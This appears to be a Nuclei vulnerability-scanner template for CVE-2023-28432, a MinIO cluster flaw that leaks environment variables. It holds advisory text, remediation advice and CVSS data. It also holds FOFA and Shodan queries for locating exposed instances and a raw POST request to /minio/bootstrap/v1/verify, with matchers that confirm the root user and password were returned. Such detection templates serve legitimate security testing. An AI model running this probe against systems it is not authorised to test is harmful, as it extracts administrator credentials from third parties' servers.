id: CVE-2023-28432 info: name: MinIO Cluster Deployment - Information Disclosure author: Mr-xn severity: high description: | MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted. reference: - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q - https://github.com/minio/minio/pull/16853/files - https://github.com/golang/vulndb/issues/1667 - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json - https://nvd.nist.gov/vuln/detail/CVE-2023-28432 remediation: All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-28432 cwe-id: CWE-200 metadata: fofa-query: app="Minio" shodan-query: title:"Minio Console" verified: "true" tags: cve,cve2023,minio,console,exposure requests: - raw: - |+ POST /minio/bootstrap/v1/verify HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: word part: body words: - '"MINIO_ROOT_PASSWORD":' - '"MINIO_ROOT_USER":' condition: and - type: word part: header words: - 'text/plain' - type: status status: - 200 # Enhanced by md on 2023/04/10